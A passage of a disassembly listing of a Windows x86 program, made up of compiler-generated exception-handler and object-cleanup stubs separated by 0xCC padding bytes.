; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B6A4:				; DATA XREF: ___:00425BD2o
		mov	eax, offset dword_441928
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426450	proc near		; DATA XREF: sub_426450+2o
		mov	eax, offset dword_441A08
		jmp	sub_4367C8
SEH_426450	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B708:				; DATA XREF: ___:00441A64o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4264C0	proc near		; DATA XREF: sub_4264C0+2o
		mov	eax, offset dword_441A38
		jmp	sub_4367C8
SEH_4264C0	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B758:				; DATA XREF: ___:00441AB4o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426560	proc near		; DATA XREF: sub_426560+2o
		mov	eax, offset dword_441A88
		jmp	sub_4367C8
SEH_426560	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4266A0	proc near		; DATA XREF: sub_4266A0+2o
		mov	eax, offset dword_441AD8
		jmp	sub_4367C8
SEH_4266A0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4269A0	proc near		; DATA XREF: sub_4269A0+2o
		mov	eax, offset dword_441B08
		jmp	sub_4367C8
SEH_4269A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426A60	proc near		; DATA XREF: sub_426A60+2o
		mov	eax, offset dword_441B38
		jmp	sub_4367C8
SEH_426A60	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426EB0	proc near		; DATA XREF: sub_426EB0+2o
		mov	eax, offset dword_441B68
		jmp	sub_4367C8
SEH_426EB0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426F70	proc near		; DATA XREF: sub_426F70+2o
		mov	eax, offset dword_441B98
		jmp	sub_4367C8
SEH_426F70	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427590	proc near		; DATA XREF: sub_427590+2o
		mov	eax, offset dword_441BC8
		jmp	sub_4367C8
SEH_427590	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427650	proc near		; DATA XREF: sub_427650+2o
		mov	eax, offset dword_441BF8
		jmp	sub_4367C8
SEH_427650	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427DC0	proc near		; DATA XREF: sub_427DC0+2o
		mov	eax, offset dword_441C28
		jmp	sub_4367C8
SEH_427DC0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B8A8:				; DATA XREF: ___:00441C84o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427E30	proc near		; DATA XREF: sub_427E30+2o
		mov	eax, offset dword_441C58
		jmp	sub_4367C8
SEH_427E30	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B908:				; DATA XREF: ___:00441CDCo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427EF0	proc near		; DATA XREF: sub_427EF0+2o
		mov	eax, offset dword_441CB0
		jmp	sub_4367C8
SEH_427EF0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------


loc_43B968:				; DATA XREF: ___:00441D34o
		mov	ecx, [ebp-28h]
		add	ecx, 0A1h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428160	proc near		; DATA XREF: sub_428160+2o
		mov	eax, offset dword_441D08
		jmp	sub_4367C8
SEH_428160	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-53ECh]
		jmp	sub_4014B0
; ---------------------------------------------------------------------------


loc_43B9AB:				; DATA XREF: ___:00441D74o
		lea	ecx, [ebp-5490h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5474h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-528Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-525Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-537Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-522Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-545Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5444h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-541Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5404h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-534Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-531Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BA92:				; DATA XREF: sub_4282C0+8o
		mov	eax, offset dword_441D48
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 44h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4299C0	proc near		; DATA XREF: sub_4299C0+2o
		mov	eax, offset dword_441E30
		jmp	sub_4367C8
SEH_4299C0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429AA0	proc near		; DATA XREF: sub_429AA0+2o
		mov	eax, offset dword_441E60
		jmp	sub_4367C8
SEH_429AA0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429D00	proc near		; DATA XREF: sub_429D00+2o
		mov	eax, offset dword_441E90
		jmp	sub_4367C8
SEH_429D00	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42A090	proc near		; DATA XREF: sub_42A090+2o
		mov	eax, offset dword_441EC0
		jmp	sub_4367C8
SEH_42A090	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42A150	proc near		; DATA XREF: sub_42A150+8o
		mov	eax, offset dword_441EF0
		jmp	sub_4367C8
SEH_42A150	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AEC0	proc near		; DATA XREF: sub_42AEC0+5o
		mov	eax, offset dword_441F20
		jmp	sub_4367C8
SEH_42AEC0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_43BB90:				; DATA XREF: ___:0042AFD5o
		mov	eax, offset dword_441F80
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BBA8:				; DATA XREF: ___:0044200Co
		lea	ecx, [ebp+8]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1A0h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B060	proc near		; DATA XREF: sub_42B060+2o
		mov	eax, offset dword_441FE0
		jmp	sub_4367C8
SEH_42B060	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B240	proc near		; DATA XREF: sub_42B240+2o
		mov	eax, offset dword_442020
		jmp	sub_4367C8
SEH_42B240	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------


loc_43BC08:				; DATA XREF: ___:0042B2E2o
		mov	eax, offset dword_442050
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B480	proc near		; DATA XREF: sub_42B480+2o
		mov	eax, offset dword_442080
		jmp	sub_4367C8
SEH_42B480	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4420B0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B880	proc near		; DATA XREF: sub_42B880+8o
		mov	eax, offset dword_4420E0
		jmp	sub_4367C8
SEH_42B880	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42BB70	proc near		; DATA XREF: sub_42BB70+2o
		mov	eax, offset dword_442110
		jmp	sub_4367C8
SEH_42BB70	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-74h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-70h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BD84:				; DATA XREF: ___:0042BE68o
		mov	eax, offset dword_442168
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4347B0	proc near		; DATA XREF: sub_4347B0+2o
		mov	eax, offset dword_442250
		jmp	sub_4367C8
SEH_4347B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-168Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BDEB:				; DATA XREF: ___:004422B4o
		lea	ecx, [ebp-16A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BDF6:				; DATA XREF: ___:004348A8o
		mov	eax, offset dword_442288
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4351E0	proc near		; DATA XREF: sub_4351E0+2o
		mov	eax, offset dword_4422C0
		jmp	sub_4367C8
SEH_4351E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4355E0	proc near		; DATA XREF: sub_4355E0+2o
		mov	eax, offset dword_4422F0
		jmp	sub_4367C8
SEH_4355E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4356F0	proc near		; DATA XREF: sub_4356F0+8o
		mov	eax, offset dword_442328
		jmp	sub_4367C8
SEH_4356F0	endp

; ---------------------------------------------------------------------------
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
